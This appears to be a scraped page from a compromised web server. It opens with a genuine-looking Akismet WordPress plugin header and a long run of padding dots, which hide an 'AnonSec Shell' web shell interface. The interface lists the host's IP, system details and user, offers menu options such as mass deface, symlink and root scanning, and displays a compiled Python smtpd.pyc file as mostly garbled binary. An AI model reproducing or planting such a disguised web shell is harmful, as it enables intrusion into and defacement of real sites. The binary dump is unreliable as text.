#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/smtpd.pyc
�
ٜSec@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddddgZ	ej
dZdZd	dd
��YZ
e
�adZdZd
Zdd�Zdejfd��YZdejfd��YZdefd��YZdefd��YZdefd��YZdd d��YZd�Zedkr�e�ZejZdekr�ejd�Z e!ee  e"�e#�dg�Z$ee dZnddl%Z$e&e$e�Z'e'ej(ej)fej*ej+f�Z,ej-r�yddl.Z.Wn+e/k
rIej0dIJej1d�nXe.j2d�dZ3yej-e3�Wq�e4k
r�Z5e5jej6kr��nej0dIJej1d�q�Xnyej7�Wq�e8k
r�q�XndS(!scAn RFC 2821 smtp proxy.

Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]]

Options:

    --nosetuid
    -n
        This program generally tries to setuid `nobody', unless this flag is
        set.  The setuid call will fail if this program is not run as root (in
        which case, use this flag).

    --version
    -V
        Print the version number and exit.

    --class classname
    -c classname
        Use `classname' as the concrete SMTP proxy class.  Uses `PureProxy' by
        default.

    --debug
    -d
        Turn on debugging prints.

    --help
    -h
        Print this message and exit.

Version: %(__version__)s

If localhost is not given then `localhost' is used, and if localport is not
given then 8025 is used.  If remotehost is not given then `localhost' is used,
and if remoteport is not given, then 25 is used.
i����Nt
SMTPServertDebuggingServert	PureProxytMailmanProxyisPython SMTP proxy version 0.2tDevnullcBseZd�Zd�ZRS(cCsdS(N((tselftmsg((s/usr/lib64/python2.7/smtpd.pytwriteXscCsdS(N((R((s/usr/lib64/python2.7/smtpd.pytflushYs(t__name__t
__module__RR(((s/usr/lib64/python2.7/smtpd.pyRWs	s
ts, cCs;tjtt�IJ|r*tj|IJntj|�dS(N(tsyststderrt__doc__tglobalstexit(tcodeR((s/usr/lib64/python2.7/smtpd.pytusagebstSMTPChannelcBs�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�ZRS(iicCs
tjj||�||_||_||_g|_|j|_d|_	d|_g|_d|_
tj�|_y|j�|_Wn:tjk
r�}|j�|dtjkr��ndSXtdIt|j�IJ|jd|jtf�|jd�dS(NiRsPeer:s	220 %s %ss
(tasynchatt
async_chatt__init__t_SMTPChannel__servert_SMTPChannel__connt_SMTPChannel__addrt_SMTPChannel__linetCOMMANDt_SMTPChannel__statet_SMTPChannel__greetingtNonet_SMTPChannel__mailfromt_SMTPChannel__rcpttost_SMTPChannel__datatsockettgetfqdnt_SMTPChannel__fqdntgetpeernamet_SMTPChannel__peerterrortcloseterrnotENOTCONNtDEBUGSTREAMtreprtpusht__version__tset_terminator(Rtservertconntaddrterr((s/usr/lib64/python2.7/smtpd.pyRms*								
cCstjj||d�dS(Ns
(RRR-(RR((s/usr/lib64/python2.7/smtpd.pyR-�scCs|jj|�dS(N(Rtappend(Rtdata((s/usr/lib64/python2.7/smtpd.pytcollect_incoming_data�sc	Cs�tj|j�}tdIt|�IJg|_|j|jkr�|sZ|jd�dSd}|j	d�}|dkr�|j
�}d}n$|| j
�}||dj�}t|d|d�}|s�|jd|�dS||�dS|j|j
kr|jd�dSg}xN|jd	�D]=}|r\|dd
kr\|j|d�q,|j|�q,Wtj|�|_|jj|j|j|j|j�}g|_d|_|j|_|jd	�|s�|jd�n
|j|�dS(NsData:s500 Error: bad syntaxt iitsmtp_s'502 Error: command "%s" not implementeds451 Internal confusions
t.s250 Ok(tEMPTYSTRINGtjoinRR+R,RRR-RtfindtuppertstriptgetattrtDATAtsplitR4tNEWLINER!Rtprocess_messageR&RR R/(	RtlinetmethodtitcommandtargR5ttexttstatus((s/usr/lib64/python2.7/smtpd.pytfound_terminator�sP	
	

		
cCsQ|s|jd�dS|jr0|jd�n||_|jd|j�dS(Ns501 Syntax: HELO hostnames503 Duplicate HELO/EHLOs250 %s(R-RR$(RRH((s/usr/lib64/python2.7/smtpd.pyt	smtp_HELO�s
		cCs'|r|jd�n
|jd�dS(Ns501 Syntax: NOOPs250 Ok(R-(RRH((s/usr/lib64/python2.7/smtpd.pyt	smtp_NOOP�scCs|jd�|j�dS(Ns221 Bye(R-tclose_when_done(RRH((s/usr/lib64/python2.7/smtpd.pyt	smtp_QUIT�s
cCs�d}t|�}|| j�|kr�||j�}|sAq�|ddkr�|ddkr�|dkr�|dd!}q�n|S(Nit<i����t>s<>i(RtlenR=R>(RtkeywordRHtaddresstkeylen((s/usr/lib64/python2.7/smtpd.pyt	__getaddr�s,cCs�tdI|IJ|r(|jd|�nd}|sE|jd�dS|jr_|jd�dS||_tdI|jIJ|jd�dS(Ns	===> MAILsFROM:s501 Syntax: MAIL FROM:<address>s503 Error: nested MAIL commandssender:s250 Ok(R+t_SMTPChannel__getaddrRR-R(RRHRT((s/usr/lib64/python2.7/smtpd.pyt	smtp_MAIL�s
	
	cCs�tdI|IJ|js*|jd�dS|rB|jd|�nd}|s_|jd�dS|jj|�tdI|jIJ|jd�dS(Ns	===> RCPTs503 Error: need MAIL commandsTO:s501 Syntax: RCPT TO: <address>srecips:s250 Ok(R+RR-RWRR R4(RRHRT((s/usr/lib64/python2.7/smtpd.pyt	smtp_RCPT�s	

cCsO|r|jd�dSd|_g|_d|_|j|_|jd�dS(Ns501 Syntax: RSETRs250 Ok(R-RRR R!RR(RRH((s/usr/lib64/python2.7/smtpd.pyt	smtp_RSET�s
			cCs[|js|jd�dS|r1|jd�dS|j|_|jd�|jd�dS(Ns503 Error: need RCPT commands501 Syntax: DATAs
.
s#354 End data with <CR><LF>.<CR><LF>(R R-R@RR/(RRH((s/usr/lib64/python2.7/smtpd.pyt	smtp_DATAs	


(R	R
RR@RR-R6RKRLRMRORWRXRYRZR[(((s/usr/lib64/python2.7/smtpd.pyRis				1	
			
	
	
	cBs#eZd�Zd�Zd�ZRS(cCs�||_||_tjj|�y>|jtjtj�|j	�|j
|�|jd�Wn|j��n0Xt
d|jjtjtj��||fIJdS(Nis0%s started at %s
	Local addr: %s
	Remote addr:%s(t
_localaddrt_remoteaddrtasyncoret
dispatcherRt
create_socketR"tAF_INETtSOCK_STREAMtset_reuse_addrtbindtlistenR(R+t	__class__R	ttimetctime(Rt	localaddrt
remoteaddr((s/usr/lib64/python2.7/smtpd.pyRs		


cCsQ|j�}|dk	rM|\}}tdt|�IJt|||�}ndS(NsIncoming connection from %s(tacceptRR+R,R(RtpairR1R2tchannel((s/usr/lib64/python2.7/smtpd.pyt
handle_accept)s
cCs
t�dS(sIOverride this abstract method to handle messages from the client.

        peer is a tuple containing (ipaddr, port) of the client that made the
        socket connection to our smtp port.

        mailfrom is the raw address the client claims the message is coming
        from.

        rcpttos is a list of raw addresses the client wishes to deliver the
        message to.

        data is a string containing the entire full text of the message,
        headers (if supplied) and all.  It has been `de-transparencied'
        according to RFC 821, Section 4.5.2.  In other words, a line
        containing a `.' followed by other text has had the leading dot
        removed.

        This function should return None, for a normal `250 Ok' response;
        otherwise it returns the desired response string in RFC 821 format.

        N(tNotImplementedError(RtpeertmailfromtrcpttosR5((s/usr/lib64/python2.7/smtpd.pyRC1s(R	R
RRnRC(((s/usr/lib64/python2.7/smtpd.pyRs		cBseZd�ZRS(cCs\d}|jd�}dGHx6|D].}|rJ|rJdG|dGHd}n|GHq!WdGHdS(Nis
s%---------- MESSAGE FOLLOWS ----------sX-Peer:is%------------ END MESSAGE ------------(RA(RRpRqRrR5t	inheaderstlinesRD((s/usr/lib64/python2.7/smtpd.pyRCLs


		(R	R
RC(((s/usr/lib64/python2.7/smtpd.pyRJscBseZd�Zd�ZRS(c	Cs�|jd�}d}x"|D]}|s,Pn|d7}qW|j|d|d�tj|�}|j|||�}tdI|IJdS(Ns
iis
X-Peer: %sswe got some refusals:(RAtinsertRBR;t_deliverR+(	RRpRqRrR5RtRFRDtrefused((s/usr/lib64/python2.7/smtpd.pyRCZs
cCs
ddl}i}yU|j�}|j|jd|jd�z|j|||�}Wd|j�XWn�|jk
r�}tdIJ|j}nwt	j
|jfk
r}tdI|jIJt
|dd�}t
|dd�}	x"|D]}
||	f||
<q�WnX|S(	Ni����iisgot SMTPRecipientsRefusedtgott	smtp_codet
smtp_errortignore(tsmtplibtSMTPtconnectR]tsendmailtquittSMTPRecipientsRefusedR+t
recipientsR"R't
SMTPExceptionRfR?(RRqRrR5R|Rwtsteterrcodeterrmsgtr((s/usr/lib64/python2.7/smtpd.pyRvhs$

(R	R
RCRv(((s/usr/lib64/python2.7/smtpd.pyRYs	cBseZd�ZRS(c	Csddlm}ddlm}ddlm}ddlm}g}	x�|D]�}
|
j�jd�d}|jd�}t|�d	kr�qMn|d}
t|�d	kr�|d
}nd}|j	|
�sM|d!kr�qMn|	j
|
|
|f�qMWx$|	D]\}
}
}|j|
�qWtdIdj
|�IJ|rl|j|||�}tdI|IJni}||�}|j|�}|jd�s�||d<n|jd�s�tjtj��|d<nx+|	D]#\}
}
}tdI|
IJ|j|
�}|s1|j|
dd�}|||
<n|dkrS|j|dd
�q�|dkru|j|dd
�q�|d
kr�|j|dd
�q�|dkr�|j|dd
�q�|d"kr�|dkr�d|d<n
d |d<|j|dd
�q�q�WdS(#Ni����(tStringIO(tUtils(tMessage(tMailListt@it-iiRtadmintownertrequestR;tleavesforwarding recips:R7swe got refusals:tfromtFromtdatetDatessending message totlockttolistttoadminttoownert	torequestt	subscribetSubjecttunsubscribe(RR�R�R�sjoinR�(sjoinR�(t	cStringIOR�tMailmanR�R�R�tlowerRARRtlist_existsR4tremoveR+R;Rvt	getheaderRgRhtgettEnqueue(RRpRqRrR5R�R�R�R�t	listnamestrcpttlocaltpartstlistnameRGRwtmlistsR�Rtmlist((s/usr/lib64/python2.7/smtpd.pyRC�sd


	



(R	R
RC(((s/usr/lib64/python2.7/smtpd.pyR�stOptionscBseZdZdZRS(iR(R	R
tsetuidt	classname(((s/usr/lib64/python2.7/smtpd.pyR��sc	Cs�y5tjtjdddddddg�\}}Wn#tjk
rZ}td|�nXt�}x�|D]�\}}|dkr�td
�qk|dkr�tjtIJtjd
�qk|dkr�d
|_	qk|d kr�||_
qk|d!krktjaqkqkWt|�dkr&d}d}nht|�dkrK|d
}d}nCt|�dkrt|d
}|d}ntddt
j|��|jd�}|d
kr�tdd|�n|| |_yt||d�|_Wn"tk
r	tdd|�nX|jd�}|d
kr9tdd|�n|| |_yt||d�|_Wn"tk
r�tdd|�nX|S("NisnVhc:dsclass=tnosetuidtversionthelptdebugs-hs--helpis-Vs	--versions-ns
--nosetuids-cs--classs-ds--debugslocalhost:8025slocalhost:25iisInvalid arguments: %st:sBad local spec: %ssBad local port: %ssBad remote spec: %ssBad remote port: %s(s-hs--help(s-Vs	--version(s-ns
--nosetuid(s-cs--class(s-ds--debug(tgetoptRtargvR'RR�R
R.RR�R�R+RRt
COMMASPACER;R<t	localhosttintt	localportt
ValueErrort
remotehostt
remoteport(	toptstargsR�toptionstoptRHt	localspect
remotespecRF((s/usr/lib64/python2.7/smtpd.pyt	parseargs�s\
"	

	
	





t__main__R9is7Cannot import module "pwd"; try running with -n option.tnobodyis3Cannot setuid "nobody"; try running with -n option.(((9RRtosR)R�RgR"R^Rt__all__R�tprogramR.RR+RBR:R�RRRR_RRRRR�R�R	R�R�trfindtlastdott
__import__RtlocalstmodR�R?tclass_R�R�R�R�tproxyR�tpwdtImportErrorR
RtgetpwnamR�tOSErrorR�tEPERMtlooptKeyboardInterrupt(((s/usr/lib64/python2.7/smtpd.pyt<module>$sn$
	�6(N	8		"	



Anon7 - 2022
AnonSec Team